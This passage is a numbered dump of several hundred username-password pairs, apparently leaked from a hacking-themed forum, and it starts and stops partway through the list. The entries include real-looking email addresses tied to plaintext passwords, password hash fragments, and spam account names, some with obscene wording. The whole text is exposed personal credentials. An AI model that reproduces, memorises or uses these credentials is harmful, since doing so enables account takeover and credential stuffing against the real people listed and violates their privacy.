wonkers1 23294 freddamoo - SqZ7VNC155 23295 freelancerklip - 2gY15XE625 23296 free porn rape videos - kakaxaqwe 23297 fropcabvqs - EHcmseC965 23298 frost0g - tac0tac0 23299 frost0g - tac0tac0! 23300 frosty1349 - zxc1asd2qwe3 23301 frosty1349 - zxc1asd2wqe3 23302 frosty - frosty2k 23303 frosty - zxc1asd2qwe3 23304 fruitpastles - committee330011 23305 fsneakxp - jazz22 23306 ft85915 - 4568 23307 ft85915 - 693630 23308 fuckbugmenot - bugmenot 23309 fuckbugmenot - bugmenot=leechers 23310 fuck gay rough forced - kakaxaqwe 23311 fuhpourry - Nb2i9H3184 23312 fuji0050 - 123456789aA 23313 fullyz - calcio90 23314 fultuththeake - QQ6BklZ637 23315 futsosteons - FhvOfKE353 23316 fuzeman - com12345 23317 fwilson789 - 789456123456789 23318 g8tk33per - q3a868at 23319 gabrielsteel - westside 23320 gabrielsteel - westside1234 23321 gadget - b4seball 23322 gambit - cooldude 23323 gamblngisgoodbecauseicanwin - IjCH2r2243 23324 gamerszonenz20 - p5yrx78u 23325 gameskillz - cresco11 23326 gandcoalavods - 4GCgAnq878 23327 gary_coleman56 - Rouge232 23328 gary.hodgdon@gmail.com - 022283 23329 gary.hodgdon@gmail.com - h022283 23330 garynu - JJASs5s321 23331 gasilli - wafgfaaso2 23332 gasilli - wAfgfaaso2! 23333 gatitatuttasola - 123456789 23334 gauflaply - gIHPFic167 23335 gaunteegani - GjNcdne889 23336 gawlwhessedew - TO7zIQo995 23337 gcjirhp - QsEfTh22 23338 gcninja - france 23339 geallerrelert - KYOecOG873 23340 gehricba - 790316 23341 gemeerawutemo - 8cwe6jd685 23342 genericonline - generic777 23343 geneticvoid - crypT0gr4m 23344 gennfortoday - i83zh6W585 23345 gennick[ajtajt] - tzOnfPn783 23346 gentlemanvampir - A?bi3G1 23347 geomdrigree - 8seJp3m252 23348 georgiholebrook - ike02banaA 23349 germangoogirls - mxzDJlK782 23350 getlentepaync - S9rNlW0254 23351 gfl20 - 2Ko17aQ855 23352 gfrosty - frosty2k 23353 ghksbve - QsEfTh22 23354 ghost718 - 00ce86dd6d335d2 23355 ghost - Gh0$+$ 23356 ghostlywind - pete1988 23357 ghostshadow - poopie 23358 gibteageffica - fdnDGW5863 23359 giftseeker - qwerty80 23360 giovanni - g222303 23361 givankumar - lPyqXDU991 23362 givver - SHUTTLEdn 23363 glados - libum1lawl 23364 glados - libum1libum1 23365 glamustq - glamustq00 23366 glislanioge - 0ui8Hxy312 23367 gloryforixseal - ynUGXhG292 23368 gnxcpso - QsEfTh22 23369 godane - 0e7d3f57dbfed15 23370 godsdead - grape89 23371 godviagra - Kj7Gt65F 23372 goforflyers - dHF9XZ8399 23373 gogeoring - SZQ81si379 23374 goldy - something 23375 gonzor - dd170720b965974 23376 goodcvv_vn - 123456 23377 goodseller_eu - lovehoa 23378 gooneekic - n0Q4tbD581 23379 gphrzyu - QsEfTh22 23380 gracedgirl - ike02banaA 23381 graceison - ike02banaA 23382 graigmaxoxy - coh2YnS861 23383 grajemotroure - 3B2dRZw883 23384 g-ram - amanda 23385 grapeteen - grapeteen18 23386 grarrytut - tUTAiK5252 23387 greardyedjeks - 966XTv0798 23388 grohonogazy - PEbzcGP521 23389 gromerdok - gromerdok66 23390 grs - explorer 23391 g. s. mcnamara - gsmhak5pass 23392 g-stress - stress 23393 gtah - Gh0$+$ 23394 guabowl - DowBoync 23395 guafttets - DQORumC983 23396 gumby - viamirola 23397 gumpalm billionaires race - sdfwretdfdf 23398 gumpalm fashion for billionaires - sdfwretdfdf 23399 guring - azerty 23400 guyintheroom - jesusrawkz 23401 gzcpnki - QsEfTh22 23402 h2oh4x - qwerty 23403 h3xan01c - Ag3nt:0rang3 23404 h4ck3r5 - FILAFILA 23405 h4x0r746 - kaitlin1. 23406 h5n1 - 90009000 23407 h5n1 - giraff 23408 h5n1 - giraffene 23409 h5n1 - munkholm 23410 h5n1 - sammenstilling 23411 habibibi - 123456 23412 hacdan - b4hand99 23413 hacker@sr.gov.yu - samoja 23414 hadak - melissia 23415 hagdresegoodo - CLsrIvW327 23416 hak55hak55 - packword 23417 hak5matt - i99Eg4117$ 23418 hakrat - ------ 23419 hakrat - 22cool4u 23420 hakrat - 2cool4u 23421 hakrat - 2fat4u 23422 halegretavi - 9fzlFZK516 23423 halxjtg - QsEfTh22 23424 hamper - d64gci 23425 hamper - d64gi 23426 haniauton - HShbt0F478 23427 hapster - magisamdg 23428 harfangesse - 79lbHxn733 23429 harry.mat - MADEIT 23430 harshreality - 40440404 23431 hawimpalarawn - mrC5tKd396 23432 hawksprite - redwall5 23433 haxple - hrendevouz23 23434 hayden - 123456ss 23435 hayden21 - 123456ss 23436 heidgidginc - kHThaVL163 23437 heireacle - z5jNZQb788 23438 hellkaiser - yarpnarp 23439 helmutmossbach - trf1WJ8564 23440 helpme0k - hahaha 23441 heradeeby - 0lR8bbT787 23442 herki - mucha81 23443 hexskrew - blacksink27* 23444 hexskrew - blacksink27 23445 hexskrew - blacksink278 23446 hgrcewr - QsEfTh22 23447 him1123 - Him1123$.HAK5 23448 himesasax - UDiOJWO667 23449 hinzinho - yW5Q44E3 23450 hitaalagift - OGP3E9L496 23451 hitooutwala - DhFCXWv427 23452 hiwykil - QsEfTh22 23453 hogcoladido - AdgPFz1882 23454 hohutoksev - D7IQw2H232 23455 hollmark - YUIOP 23456 hollybrooking - ike02banaA 23457 hollywood16 - q123456 23458 holtbp - b539131dd4c18c1 23459 holtbp - Palmer7! 23460 holymoo - gibtde 23461 homebrew hacks - 0121hak 23462 homeless - shitty 23463 honvoxlountee - 8AUuksot1qa2 23464 hoople - friE3nd57 23465 hoormgartk7 - 1RfUp60845 23466 horza - hlatblasonir0 23467 horza - hvuvivru6 23468 horza - latblasonir 23469 hosejoseipax - 12axzas21a 23470 hosexazasaz - fWh0cK2583 23471 hosexazas - fWh0cK2583 23472 houseofbugs - Waterclocker89 23473 hryba - robotics 23474 hurricane - trust2 23475 hutccvr - QsEfTh22 23476 hydeciel - kawaii123 23477 hydeciel - kawaiisensei 23478 hydeciel - kawaiisensei@19784 23479 hydeciel - kawaiisensei@1984 23480 hydeciel - kawaiisensei@1984 23481 hylas - alliance936822 23482 hzahtuv - QsEfTh22 23483 iain - C4duceus 23484 iain - C4duceusC 23485 iains - C4duceu 23486 iajrjop - QsEfTh22 23487 iamwill - hak5pass 23488 ibionika - 0SbcH4Y824 23489 iceberg - 9eas6fm4 23490 iceberg - plasma 23491 icociaxila - 147852 23492 idefypi - bushisking 23493 ideodomup - KDPURAD242 23494 ideototiptopy - wzBTIAU143 23495 ignatius - C4duceus 23496 igorokk - Mantalaboy 23497 ihaku - gsrroca8733 23498 ihatethievesthatfuckmymoney - IjCH2r2243 23499 i.have.rewt - jamies 23500 ihmemies - 12rt67UI 23501 iisonly - hak5 23502 illiliseets - muCfckR922 23503 illittaxitend - 112B5X3297 23504 illuchjuiff - 8QFPczd249 23505 ilookjanny - naO2e67467 23506 ilya_rabinovich - moadon 23507 imagin4ry - 350963 23508 imaginary - 350963 23509 imaserbaretah - JXcEYzP513 23510 imgood - 95bd2dbdfbada8e 23511 immobsesror - LALqCf4117 23512 impaimaspal - lmcYteL567 23513 impopyguimi - 0ui8Hxy312 23514 inaraarringnup - JessNall 23515 inciginue - YoEBZa3566 23516 incurcike - ZtysGOy586 23517 indianpharmacyonline - 24031974 23518 indissign - 4GCgAnq878 23519 ineldcoonipep - 8etthdz954 23520 inf0lookup - Samuel22 23521 infolookup - $@MU3L@@ 23522 infontonseelenly - KUjkZX2435 23523 infopyshopy - ySxcF49355 23524 infosecgeek - sh1nob19ii 23525 ingasalna - drkfsdde 23526 inhifappish - DVg7xyA633 23527 inkopank - a37711f11e5a2ad 23528 innickglance - 6DHPqhr833 23529 inorrible - 7koBYz6936 23530 insaloelisind - 123456 23531 insurance - insurance123 23532 intataaddepay - IkKemcr459 23533 intergage - qxc50%cs 23534 intictacquins - AOaCn9U499 23535 investe - 5et8j634 23536 iodicscor - v7krfo1614 23537 iordanov swarovski vodka - sfdfgsdaf 23538 iosys - UPvtC61UvdlXv0`OVgGyiy}x 23539 iowyou - march301993 23540 ioyou - march301993 23541 ip_anywhere - entre 23542 irc - ------ 23543 irieb - barley88 23544 irieb - barlye 23545 irieb - c3dc774c0bccd66 23546 irieb - caroline 23547 irieb - varoline 23548 irootuv5 - JzAI6xD743 23549 irrafeembor - yBonbPB385 23550 irreptors - i9YZsCc682 23551 i run unix - bigman 23552 isacneo1 - taveras 23553 ishan - abhay 23554 iskilled - 504fa0 23555 isopackmips - NFYSd5N924 23556 italiano40 - mafia2 23557 italiano40 - mafia22290 23558 itayati - 39864251 23559 itayyati - 39864251 23560 itayyati - i3669282 23561 itenryanorded - uE4F5E5458 23562 itxyube - QsEfTh22 23563 ixgamerxi - poopie123 23564 iyeman - OmiOmlp0 23565 iyeman - r0Gu34./ 23566 j0hnlennon - iloveilife05 23567 j35u5fr34k - J35u50513 23568 jaapk-nl - 2mlfAdX454 23569 jackeye - l3njeb 23570 jackshadow17 - magical101 23571 jackspayed - batma 23572 jaggededge - 200701203 23573 jag - hkmp5k 23574 jagwire - 14np1mp 23575 jagwire - blackmail 23576 jairlkatstask - LLYx8rs519 23577 jakdripper - passw0rd 23578 jakeellans - oK18Sao966 23579 jalierressy - vRBWlgr874 23580 jallchiesia - tUTAiK5252 23581 jamazz - danger 23582 jamazz - TinafLP! 23583 jamazz - TinaFLP! 23584 james@briggsconsulting.net - Budlight08 23585 jamesowens - 1626a29e0425302 23586 jamesowens - a29e04253021626 23587 jamesowens - h4k5inva 23588 jamestkirk - QmbdZxm263 23589 james.yoder - Y59kT4uI 23590 jamezb - tpain123 23591 jamiesbird - CKEaJUh344 23592 jammyreds - ozadCE2977 23593 jamnecollshe - 7ebQ8us469 23594 jamser - 2046402 23595 jamser - 20466402 23596 jamster - 20466402 23597 janders223 - sah125 23598 janemalka - hLNNbxQ115 23599 janeradriges - ZVjmHgC355 23600 janicegreatman - ike02banaA 23601 janteetew - vBVGupC537 23602 jaredcheeda - jensmith 23603 jaredmoona - 5r55Zba163 23604 jarmooldviova - Dtzpu4x673 23605 jasonb - Volcom87 23606 jasonconley2537 - iknowyoucanreadhis 23607 jasonconley2537 - iknowyoucanreadthis 23608 jasonconley@yahoo.com - iknowyoucanreadthis 23609 jasonzaluski - jz7007 23610 jatwilla - amy051bY 23611 jb2001 - fossil 23612 jbauerctu - pl80ff00d 23613 jborunda - nitsuj 23614 jborunda - nitsuj67 23615 jbueltman - jb101474 23616 jcnconnect - jman80140 23617 jcollins - qwerty313 23618 jcsntoll - d4tcxr 23619 jdogherman - action 23620 jebyweege - cJfuTHh822 23621 jedigenii - 2b91888ec98c9e1 23622 jedigenii - allen540* 23623 jedigenii - allen540 23624 jedigenii - gotigers08* 23625 jedigenii - gotigers08 23626 jeffersongates - Money159 23627 jeffzz - Ag03XGx218 23628 jenifferdragster - ike02banaA 23629 jennywishnoff - Sr3jNEq992 23630 jenyip33 - 24948698 23631 jeoglelunlili - tygqOko941 23632 jesman - 4evergood23 23633 jesman - hannover23 23634 jesse6923 - jmeister 23635 jester - jamies 23636 jfranklin - azttd357 23637 jigen87 - terrence 23638 jigglebilly - M*nkey00 23639 jimbobdaga - none123 23640 jimcrashmire - V6SgUdP914 23641 jjallenfit - JklD465242 23642 jjester - jamies 23643 jjhappypants - 855cc4c48939343 23644 jjsmillo - 13a82aK395 23645 jlgarbanzo - saab9399 23646 jmcmanus - ad00d060eaaddc3 23647 jmcmanus - j0ek@!nhak5 23648 jmedlin - j33pxj 23649 jmmc1397 - SSaC864 23650 jobdone - abc123 23651 jobdone - vodafone 23652 jodeawabawmed - koJOWJU532 23653 joe1986 - $l1pkno+ 23654 joebbob - Dusty3737! 23655 joedarkon - 123qwe 23656 joerg - lVk0P-1P4IM5hnAClDfB 23657 joeypesci - c@rlyhill2000 23658 joguest2k - h1st0r1c 23659 johantheking - ferrari866 23660 johantheking - ferrari866audi 23661 johnettav - 4cNuWGu438 23662 johnlennon - iloveilife05 23663 johnnogolanza - HnpSZA8547 23664 johnnyrage - weetabix26 23665 johnotlyric - rigel5115 23666 johnyb - jsbjunk62 23667 jojorififi - Ln7TzIm146 23668 jokerjc12 - hyrule 23669 jona - 3v1lserver 23670 jona@leadingedgetech.org - 3v1lserver 23671 jonas - 0859fa8f5069859 23672 jonas - jonasku1 23673 jonatandon - OGqk74x978 23674 jonaz - 3v1lserver 23675 jonesnor - jonasku1 23676 jongbel - cherrievie 23677 jonkeegoetels - 11R0NO9797 23678 jon_manley@yahoo.com - 0501cs 23679 jonnowoodnz - sentra16 23680 jonnowoodnz - y3hg8bzr 23681 jonny190 - Remy13/05 23682 jonny190 - Reny13/05 23683 jonny490 - Remy13/05 23684 jonnycake - hackerforlife 23685 jopankpaype - f3TRAaK321 23686 jordanshoes - qwert123 23687 joseph2009 - jo5765 23688 joshtegart - hueb1jan9my1rip6 23689 joshtw - aRvAB3hTDDp6AtIWytiF 23690 jprice - stamakA5 23691 jreed5660 - usit5660 23692 jreed5660 - USIT5660 23693 jspitsmatacara - hHB9RqG679 23694 jtruman - dovies2u 23695 jtsnowboy - cba321 23696 jtsnowboy - finish 23697 judafonoxu - ozFhaCP234 23698 jufjufjuf - 1a1a3c7g 23699 jufjufjuf - user367 23700 juf - user367 23701 juicesaupesen - J0klhte826 23702 juliusceasare - youora33a 23703 julultartiree - YORxK7D648 23704 jumpinaround - jumpinaround 23705 juppywhanna - f3EY3nc153 23706 jusetespita - IEz3K8L988 23707 justhentaisixnine - RcAO8Bg397 23708 justintellectual - Zl8yKs9119 23709 justme - 7f58ec82d9164a3 23710 jwalker86 - walker 23711 jwalker86 - walker@86 23712 jyimvrdjygh - zxczxc 23713 jzman - jman80140 23714 kaervak - kamikaze 23715 kafefealo - jyvZ7CE299 23716 kaffluelp - 3WRs3jO576 23717 kairozamorro - 1neosmartstatestado 23718 kalayaan - qcwleerm 23719 kanadaguy - 2kewl4u 23720 kaolin - andy65354 23721 kapereada - LkF565Q888 23722 karmiktrance - cal8c@tt 23723 katrenwhisz - youora33a 23724 kattitete - KXRWct3269 23725 kattyblackyard - ZVjmHgC355 23726 kaustubhnatu - 132bgpospf 23727 kay50 - 1281985 23728 kchap91 - kpsrnqp 23729 kcirtap - f68570a88b0f6e2 23730 kcirtap - nokia6600 23731 keelbug - 86103921 23732 kefaffeside - Fa6SKui776 23733 keith55 - 7914058 23734 keiyentai - MaliceMizer666 23735 kelly brown - ZVjmHgC355 23736 kellyhudge - ike02banaA 23737 keltha - 112358 23738 kemspeeneks - hIUnstH449 23739 kent99 - zse4rfv 23740 kerberos - maketakunai 23741 keriveddern - qwwqwq777 23742 kernelkrunch - krunch 23743 ketchupsenf - goinplz 23744 k.eternity@gmail.com - reenork88 23745 k.eternity@gmail.com - super88duper 23746 k.eternity@gmil.com - super88duper 23747 kibosh120 - acdc1 23748 kibosh - acdc1 23749 kibosh - acdc120 23750 kibosh - orange22 23751 kickarse - forgetful1 23752 kickarse - forgetfuul1 23753 kictpaida - 7WaSEDR629 23754 kilkasumm - SWqbQeI648 23755 killhha - dontmesswith 23756 killroy - duffer 23757 kimberlymn - q1w2e3r4t5 23758 kissulyanka - 123456 23759 kj57 - carolina 23760 kjdmdlk - QsEfTh22 23761 kkeazav - QsEfTh22 23762 klaidxq - QsEfTh22 23763 klementsmume - pam2233 23764 klikersoo - uZPWeLE275 23765 kmtncyt - QsEfTh22 23766 kneeseedoma - podnTN7656 23767 knisekew - doutiout 23768 knoppy - sy44rb 23769 kokanee_100@hotmail.com - Rubicon5756 23770 korn1699 - KikAss69 23771 korny - seagate 23772 korny - wargate 23773 korny - warmtx 23774 kozmik - C0smic1699 23775 kqwnjhi - QsEfTh22 23776 kramer - v7dd32007 23777 krisbelucci - ZVjmHgC355 23778 kristfry - 31101979 23779 kristiop - fisherman 23780 krnckliundev - timosha 23781 krunch - kernel 23782 krutwarezer - VcRqHeU883 23783 kung fu jesus - eraser 23784 kuric - pasca11 23785 kurkoebnow - ZVjmHgC355 23786 kyashwanth - 4pz2b71/., 23787 kyashwanth - rt9cr. 23788 kyle 2.0 - sarge 23789 kyuuzo - bushido=ronin=047 23790 kzeaiqw - QsEfTh22 23791 l0rdnic0 - 0reg0n 23792 l0renic0 - 0reg0n 23793 l337g33k - 4e7h22 23794 laam - dieten 23795 lacakid - thisishot 23796 lafgroolf - KYOecOG873 23797 lagslella - n8Xf0GL996 23798 lanephillip - test123 23799 lapdanceh - HyOgltS7 23800 lapdanceo - HyOgltS7 23801 larry2 - hOy68iQ2J4 23802 laseteeno - AYb9z3S416 23803 lauben - ------ 23804 lauben - L4ur3nc3 23805 lavahot - rcx043697 23806 lazaruswws - schoolsucks 23807 lazygenius - vRN4QQOL 23808 learnmandarininchina - Nk090Vu358 23809 lechacal - d0om3d 23810 lechacal - D0OM3D 23811 lemckldtiundev - timosha123 23812 lenjolley - Nb2i9H3184 23813 lesappeli - 0prnpwt282 23814 lesbian incest porn - kakaxaqwe 23815 lesfonero - uLLneverGuess 23816 lestaeraxa - UDiOJWO667 23817 lethalbadger - jb41588 23818 lettograywi - VcRqHeU883 23819 levidurham - Giihh4|rwtw 23820 levitraes - 123456 23821 levitraes - Kj7Gt65F 23822 lexcoupegirl - YV9JTwD793 23823 lexlukkia - alexhak5 23824 liaichekneere - 26EKCsb456 23825 liaicsempiree - XJXFOxw548 23826 liariahepay - 3OsUJ8r347 23827 librenaut - happy5 23828 lictweecibe - HPXFUeV618 23829 liderctckliundev - timosha 23830 lidstckldiuldev - timosha 23831 lieanaolssen - IgUUUQH945 23832 lifehackeradmin - 73325985ff989e1 23833 liisikeneaa - jdR8cG7431 23834 likos - paok12 23835 lilabgle6@yahoo.com - chris6 23836 lilangel_6@yahoo.com - chris6 23837 li_leejohn - loveYoujohn 23838 liletesiniosenot - 0nkG7vz636 23839 lil_johnf - johnsf3 23840 lillou82392 - futbol02 23841 lillou82392 - futbol82392 23842 lillou82392 - soccer82392 23843 lilmboutt - RjPEcgw758 23844 lilmissbig77 - stephanie 23845 limbert_s - smIDTOf984 23846 linijossy - 7fnxdF7935 23847 link123 - starwars 23848 linker42 - starwars 23849 linksasisvx - z14789632 23850 linky1124 - 282324 23851 linnie94 - Bungee09 23852 linoleum knife - bird99 23853 linuxone - dolphin567 23854 lisakudrovichz - ike02banaA 23855 lisa-mona2007@yahoo.com - baldy 23856 listeningquietly - bungee 23857 listeningquietly - Bungee 23858 listeningquietly - Bungee09 23859 litefire - sophie101908 23860 lizzochka - G0Aun2Q281 23861 loaskdeds - j1UB961443 23862 locu - verp00rt 23863 lodylinehowly - Ah3dUnP486 23864 loftrat - 8qImFEHDTIEcgeBbd7zX 23865 loftrat - FEHDTIEcgeBbd7zX 23866 loftrat - ImFEHDTIEcgeBbd7zX 23867 loftrat - qImFEHDTIEcgeBbd7zX 23868 logicslayer - zaDR57Ru 23869 logicwater - minigo21 23870 loginas - z1478963258 23871 lohitjethwani - sohousbb 23872 lomiinvone - 147852 23873 londonseoexpert - TrWXlUl815 23874 lonix - who.am.1 23875 lopez1364 - MY$horty@hrt1364 23876 loptoocaabace - 8C0HPJW747 23877 lordanakin55 - ta030682 23878 lorddjinn - Genocide777 23879 lord rayne - harrypotter975 23880 lordtalon - reisinger 23881 lorenco - xN38aCL774 23882 loshxdo - QsEfTh22 23883 louie82392 - futbol02 23884 louie82392 - futbol82392 23885 lowillite - 6NCm4vG723 23886 loyamehogassof - FmN23zZ792 23887 loyaraanomy - x6lfvmN585 23888 lsb - 6425nick 23889 lsb - nick6425 23890 ls - Dmr004@zhak5forums 23891 ls - Dmr004@zhak5.org 23892 ls - Dmr004@zhak5.org/forums 23893 l_tiger - cfks51 23894 lu1chy - luichy 23895 luana - ZUvRioj878 23896 luca662 - student10 23897 lucasta - g222303 23898 luk53 - floydo 23899 lulteguct - WCgUzf7951 23900 lunchb0x1988 - Courvoisier1 23901 luvzerbaoyz - 4bYJj1I922 23902 lxa_hunter - futbol02 23903 lxs - all2Fon 23904 lycledalidway - 8DXlaLm259 23905 lyncprory - xtZ9uLZ372 23906 lyngeange - g65Azqb224 23907 lynki2009 - aaaa1516 23908 lyonrt - kerberos 23909 m1k - mariana 23910 m3747r0n - qwerty 23911 m3747r0n - treagus 23912 mab538 - garou324 23913 mabas - zerohero0 23914 machstorm - F03nsics 23915 machstorm - F0r3ns1cs 23916 machstorm - F0r3nsics 23917 machstorm - F0rensics 23918 macreed - wert4009 23919 macro - Mahmoud 23920 macsdd - Kashmir1 23921 madhatterm - lucky1 23922 mad pierre - valver 23923 maennerrat - qdQdQjw586 23924 magginua - dzqiPLp797 23925 magicopromotion - kcJOHCl232 23926 magusnet - weaklink32 23927 maindorenekoser - zskddm56jjdd 23928 makmarak - 96df5a7b98f9b3b 23929 maliksandr - AikIiHb198 23930 mampiseefrefs - TCyf7D2266 23931 mandrake99 - t0day6 23932 mangafree - VBdweert 23933 manola - romantic 23934 manouche - 44112886d1d1476 23935 manouche - contrapuntal 23936 manouche - stochelo 23937 manster - adpadp 23938 maq - 3af073440d83f4e 23939 maq_vega - ivermc 23940 maq_vega - password 23941 marauder - 4pz2b71/., 23942 marcecabs - CvIwqUb365 23943 marconius - 23wesdxc@# 23944 marconius - 23wesdxc 23945 marcuswalker - 7nBrZob322 23946 mark55 - awesome 23947 markeganfuller - emleckenJenni13J 23948 mark manching - do396from231 23949 mark manching - macmac 23950 markmonster - Mdbdi1981 23951 markoboy - babajee 23952 markw7 - dell12345 23953 markwahlbergtwo - dcl11RRR 23954 marniebless - ike02banaA 23955 marsknight - raye 23956 marsknight - rayehino 23957 maryanderson - 1234567qq 23958 maryannflesscon - ike02banaA 23959 massif - maggot 23960 mastergamerjk - jakers0 23961 masterpj - master 23962 mat - 96e928f72672ff7 23963 matessim - xcoolx1 23964 mat-hak5@anyaddress.net - 96e928f72672ff7 23965 mathiaskt - jeanne40 23966 matta - newzealand22 23967 mattdotdeb - 5774068ba016749 23968 matthew0k - admin@dexter26 23969 matthewlong - carpet 23970 mattrapyrhymn - T6wsnqE221 23971 mattyc - Th3B@r0n 23972 maureendepew - test123 23973 mawelch - F*ckyou 23974 maxam - Mahmoud 23975 maxdcleaclege - qwwqwq777 23976 maxddedsspeerma - qwwqwq777 23977 maxehhh - 629462 23978 mayonnefe - 7T4q7Q3116 23979 mazzurbaf - hUyFDKh968 23980 mbierly - notinnavy 23981 mbp - samisajew 23982 mcampbell - yank99 23983 mchelen - h5zxmats 23984 mcristina444 - a3pecdnd 23985 me604 - 3f399802 23986 me604 - 4c32c7729249945 23987 me604 - fubard1 23988 mealeheiceacy - wjByfwI554 23989 mecypeelp - lmmptEe852 23990 medic642 - dnipro 23991 mejjiloserz - d67sjjdooe4d 23992 meladzesz - 32mel32dzes 23993 melina - chris6 23994 melina_lilangle@yahoo.com - chris6 23995 memphix - 687231184 23996 memphix - mpx687231184 23997 merctom - goo5587 23998 merellolssen - IgUUUQH945 23999 merunwiggisp - ZYxCRyv993 24000 messsy - mcmullady2k83] 24001 messsy - mcmullady2k83 24002 metalanruhi - wVc1wNV235 24003 metalwolf - kzh77b4o 24004 metatron - hackme 24005 metatron - qwerty 24006 metatron - treagus 24007 metho.2ya - 45ebcb585e16a99 24008 metho.2ya - 95fa341b5ecd9d7 24009 metho.2ya - fucktheworld 24010 method - june1980 24011 metho - fucktheworld 24012 mexemerma - vUTo8Tr545 24013 mhbumxi - QsEfTh22 24014 micah - euk4y12g9 24015 michaelangeloiinternet - fCnuute216 24016 michaelkingstins - 6Cnuute216 24017 michaels-jackson - hNZR2fR767 24018 michelle - boogerboy 24019 micr0 - 795135465123 24020 microft - dakota6 24021 midantzler1960@yahoo.com - mel123 24022 miha_tatu - 123456789 24023 mihnea.spirescu - spiremvp01 24024 mikaelreplicats - eRmacjS484 24025 mike160 - hardcore160 24026 mike160 - HARDCORE160 24027 mikefthl - ld0jzx2869 24028 mikematress - 5kHPucK172 24029 mikemoore3456 - 7a280b348399c39 24030 mikemoore3456 - Ubuntu1111 24031 mikeshinnza - eNyPK5d316 24032 mikeymike - 786786 24033 mikipao - admin7 24034 milan - Petoo 24035 milkmonsteroer - sHy1h1y967 24036 miracle mike - a1a1a1a1 24037 miraclemike - a1a1a1a1 24038 miracle mike - LabFnty8 24039 miraclemike - LabFnty8 24040 miracle mike - WtnHigiO 24041 miraclemike - WtnHigiO 24042 mirandaonyou - ike02banaA 24043 misfitsman805 - ------ 24044 misfitsman805 - wer138 24045 misterandersonsik - rTGPibX198 24046 mister_eag - eGdFedBp2006 24047 misterex - potter 24048 mistertylersmith - psi5glitter 24049 mitchel74 - august07 24050 mitchel.deyoung@gmail.com - august07 24051 miyagui - 123401 24052 mjkrmld - QsEfTh22 24053 mjo1967 - 4264807 24054 mleo2003 - charizard 24055 mminutel - ahyxzty8 24056 mminutel - AhyXzty8 24057 mnemonic - kinjiru1 24058 mnemonic - kinjiru1kinjiru1 24059 mobescosy - 8fyRioH948 24060 mochecreara - OGP3E9L496 24061 monsterpully - RqPomk31 24062 montgomery - 123456 24063 moonlit - 2185e812378f5de 24064 moroascerge - yBonbPB385 24065 mousetech321 - brathu9h 24066 mralvin - mralvin46 24067 mrankaku - Nate9416 24068 mrburns - QVnRObtAg7aq*Az 24069 mrdeyoung74 - august07 24070 mrdeyoung74 - August07 24071 mrdeyoung74 - august2007 24072 mrgrim - password 24073 mrgrim - password99 24074 mrlapa - janna2 24075 mrootva3 - JzAI6xD743 24076 mrskibone - mixx01 24077 mr.sp41t3r - omurfatma 24078 mrx - boomerangburn 24079 mr.xx - xxxxxx 24080 mrzodiac - #th1992# 24081 mschulz - chino1 24082 mschumak - 5LP011407637iim7 24083 mshenoy4573 - schue4573 24084 mshenoy4573 - schue69 24085 mshenoy - schue4573 24086 mshenoy - schue69 24087 msp301 - poison1990 24088 msqueak - ------ 24089 msqueak - 023186 24090 msqueak - 736a96632c88870 24091 msrkpro - shg567893 24092 mubix - gegameri 24093 murzikbig - oI5wT0p575 24094 musclegeek - sh1nob19ii 24095 mv1608l - Laptop 24096 mweber - 121191 24097 myehgyr - QsEfTh22 24098 myncsoolo - gPX1Yn0679 24099 mynostalgiyaussr - G95hfafFd904tjh 24100 myronhinio - mp150888 24101 mystiq - qwerty80 24102 mz-sophie.lowe - 9oT3QmZ288 24103 n00berster - noktem211 24104 n0gear - hellohello 24105 n0x - R0binh00d 24106 n1ll0 - 1l0n3ly# 24107 n1ll0 - n0chumps 24108 n1ll0 - nochumps 24109 n3cr0s1s89 - kickass 24110 n3w_g3n3rat10n - @l3x@nd3r 24111 n57green - dawn 24112 nab_coder - $tr0ng3r 24113 nab_coder - chocolate 24114 nab_coder - chocolate1 24115 nabloonnaweaxytu - sDe0PEI926 24116 nabsabingekes - lSbjvYv131 24117 nakeidediagma - lOUcRaR979 24118 namibaiclence - YJta1HQ277 24119 nantokanare - 10DragonBitou!D@ 24120 napisani - music18 24121 nashuar - 7fpHUjiBvVy4b49QNOpXv6DTFbtnY3M3 24122 nashuar - trust 24123 nath042 - eb3eafef2e2e0bb 24124 nath042 - gmg104 24125 nath042 - ngmg104! 24126 nathalyslim - Money123 24127 natural2009 - jo5765 24128 nawab - abk$163 24129 nawab - abk163nawab 24130 nawlalope - 6UTeezi736 24131 naxoz - e626oiss 24132 nazywellola - swlXNoF957 24133 nctsuall - OXzjPrG748 24134 neas15us - anderson 24135 nebster - GameOn 24136 nedzalife - n3veragain 24137 neebmandimb - BEc3D6L572 24138 nefebrest - nyvx0xi461 24139 neg2led - phreak213 24140 neg - phreak213 24141 neidenuikenon - zwJpOz4 24142 neinsager - PDQSPwlP 24143 neldarosannet - KFkVsKf816 24144 neolinux - neoend 24145 neonknight - f0rget1t! 24146 neonknight - Matthew1 24147 nepodesiby - DNwtWW4664 24148 nerbie - her613man 24149 nereteora - eoizI3D436 24150 nerhioperfdde - fdf8jkmnf3 24151 nerkelrderxx - cx78dskkc 24152 nerlorefdplf - fdf8jkmnf3 24153 nescire2c - 4evergood23 24154 nescire2c - hannover23 24155 nescire - 4evergood23 24156 nescire - hannover 24157 nescire - hannover23 24158 newengland72 - 12aBC!@# 24159 newgay - fCkkQx0274 24160 new_generat10n - @l3x@nd3r 24161 newsatforumz - bJSgB5q397 24162 nextemume - yBonbPB385 24163 ngfidhif d - aVyyljH618 24164 nhuth - snowball 24165 nicatrontg - pwn|<3yg3n 24166 nicatrontg - pwn|<3yg3n5 24167 nicatrontg - pwn|<3yg3n5' 24168 nick_dizzle85 - Nb1017115 24169 nickinfocus - XrVch7X837 24170 nick - n7710521h 24171 nick - n7996303h 24172 nicycurgy - ij6miif974 24173 nigbrieli - soEFu7o278 24174 nightmares0nwax - select 24175 nikalalaka - TRbS9Oy384 24176 nikkione - KpHNcny759 24177 nilainers - flK9nWf454 24178 nillp - nochumps 24179 nimamayobby - BU7UirK427 24180 niniqueuemn - 9un1tFC627 24181 ninjalootr - d0wntime 24182 nisavillaneag - Cqi1egg876 24183 nitrous71988 - jade71988 24184 nitrous - jade71988 24185 nitythign - G8ZuWAE367 24186 nlpgrusla - ac24388a 24187 nobtotoenvevy - XgJZo66514 24188 noburnviak - Vd0dN13686 24189 nomatophobe - snoopy525 24190 nonwelder - marvin076 24191 noob - lamepassword 24192 noopie - 1ml33t 24193 nophix - sabri3l13 24194 nophix - sabriel13 24195 norwat - republik88 24196 nostalgiay - retero282yyr 24197 nostalgiyapo - retero282yyr 24198 noui86 - test123 24199 novawelle - 9999316 24200 noyabrina - 123456 24201 noz482 - Noz482$$ 24202 nrqzpkn - QsEfTh22 24203 nrw77 - 